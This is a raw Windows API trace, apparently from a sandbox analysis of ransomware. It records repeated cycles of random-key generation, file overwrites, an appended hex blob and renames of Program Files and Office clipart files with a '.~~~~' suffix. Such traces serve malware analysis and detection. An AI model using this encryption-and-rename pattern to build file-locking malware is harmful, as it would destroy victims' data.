	[0088.168] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2895ff0 | out: hHeap=0x300000) returned 1
	[0088.168] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.168] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.168] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.168] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.168] CloseHandle (hObject=0x12c) returned 1
	[0088.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x28062b0
	[0088.168] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Program Files\\desktop.ini.~~~~" (normalized: "c:\\program files\\desktop.ini.~~~~")) returned 1
	[0088.169] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28062b0 | out: hHeap=0x300000) returned 1
	[0088.169] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0088.169] GetLastError () returned 0x0
	[0088.663] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0088.680] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.680] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0088.680] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0088.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0088.680] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20867045665) returned 1
	[0088.680] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9ea83d90, dwHighDateTime=0x1d60e1e)) 
	[0088.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0088.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0088.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0088.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a1e28
	[0088.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.681] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a1e28 | out: hHeap=0x300000) returned 1
	[0088.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.681] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0088.681] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc378
	[0088.681] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.681] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0088.681] GetLastError () returned 0x0
	[0088.681] GetLastError () returned 0x0
	[0088.681] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0088.682] GetLastError () returned 0x0
	[0088.682] GetLastError () returned 0x0
	[0088.686] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffff65a5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.686] WriteFile (in: hFile=0x124, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x9a5b, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x26dfec0*=0x9a5b, lpOverlapped=0x0) returned 1
	[0088.687] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0088.687] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.687] WriteFile (in: hFile=0x124, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.687] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.687] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.688] CloseHandle (hObject=0x124) returned 1
	[0088.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a48e8
	[0088.688] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.~~~~" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl.~~~~")) returned 1
	[0088.688] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a48e8 | out: hHeap=0x300000) returned 1
	[0088.688] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0088.688] GetLastError () returned 0x0
	[0088.689] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0088.690] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.690] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0088.690] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0088.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0088.690] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20868005618) returned 1
	[0088.690] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9ea83d90, dwHighDateTime=0x1d60e1e)) 
	[0088.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0088.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0088.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0088.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4e78
	[0088.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.690] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4e78 | out: hHeap=0x300000) returned 1
	[0088.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.690] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0088.690] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbf50
	[0088.690] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.690] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0088.691] GetLastError () returned 0x0
	[0088.691] GetLastError () returned 0x0
	[0088.691] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0088.691] GetLastError () returned 0x0
	[0088.691] GetLastError () returned 0x0
	[0088.694] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffe3d0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.694] WriteFile (in: hFile=0x124, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x1c30, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x26dfec0*=0x1c30, lpOverlapped=0x0) returned 1
	[0088.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0088.695] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.695] WriteFile (in: hFile=0x124, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.695] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.695] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.695] CloseHandle (hObject=0x124) returned 1
	[0088.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0088.695] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif.~~~~")) returned 1
	[0088.696] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.696] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0088.696] GetLastError () returned 0x0
	[0088.697] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0088.698] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0088.698] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0088.698] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0088.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0088.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0088.698] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20868843354) returned 1
	[0088.698] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9eaa9ef0, dwHighDateTime=0x1d60e1e)) 
	[0088.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0088.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0088.699] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0088.699] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4e78
	[0088.699] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.699] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4e78 | out: hHeap=0x300000) returned 1
	[0088.699] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.699] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.699] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0088.699] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.699] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc5d8
	[0088.699] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.699] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0088.699] GetLastError () returned 0x0
	[0088.699] GetLastError () returned 0x0
	[0088.699] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0088.699] GetLastError () returned 0x0
	[0088.700] GetLastError () returned 0x0
	[0088.702] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffc5e7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.702] WriteFile (in: hFile=0x120, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x3a19, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x26dfec0*=0x3a19, lpOverlapped=0x0) returned 1
	[0088.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0088.702] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.702] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.703] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.703] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.703] CloseHandle (hObject=0x120) returned 1
	[0088.703] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0088.703] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif.~~~~")) returned 1
	[0088.704] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.704] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0088.704] GetLastError () returned 0x0
	[0088.704] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0088.705] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363030 | out: pbBuffer=0x363030) returned 1
	[0088.705] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0088.705] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363030 | out: hHeap=0x300000) returned 1
	[0088.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0088.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0088.705] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20869533351) returned 1
	[0088.705] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9eaa9ef0, dwHighDateTime=0x1d60e1e)) 
	[0088.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0088.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0088.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0088.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4ee8
	[0088.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4ee8 | out: hHeap=0x300000) returned 1
	[0088.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0088.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fca98
	[0088.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.706] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0088.706] GetLastError () returned 0x0
	[0088.706] GetLastError () returned 0x0
	[0088.706] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0088.706] GetLastError () returned 0x0
	[0088.706] GetLastError () returned 0x0
	[0088.711] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffe5e4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.711] WriteFile (in: hFile=0x120, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x1a1c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x26dfec0*=0x1a1c, lpOverlapped=0x0) returned 1
	[0088.712] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0088.712] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.712] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.712] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.712] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.712] CloseHandle (hObject=0x120) returned 1
	[0088.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0088.712] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif.~~~~")) returned 1
	[0088.713] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.713] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0088.713] GetLastError () returned 0x0
	[0088.714] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3950e0) returned 1
	[0088.715] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363030 | out: pbBuffer=0x363030) returned 1
	[0088.715] CryptReleaseContext (hProv=0x3950e0, dwFlags=0x0) returned 1
	[0088.715] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363030 | out: hHeap=0x300000) returned 1
	[0088.715] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0088.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0088.716] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20870568220) returned 1
	[0088.716] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9ead0050, dwHighDateTime=0x1d60e1e)) 
	[0088.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0088.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0088.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0088.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4f20
	[0088.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.716] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4f20 | out: hHeap=0x300000) returned 1
	[0088.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.716] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0088.716] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fcbc8
	[0088.716] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.716] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0088.717] GetLastError () returned 0x0
	[0088.718] GetLastError () returned 0x0
	[0088.718] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0088.718] GetLastError () returned 0x0
	[0088.718] GetLastError () returned 0x0
	[0088.799] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffff34d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
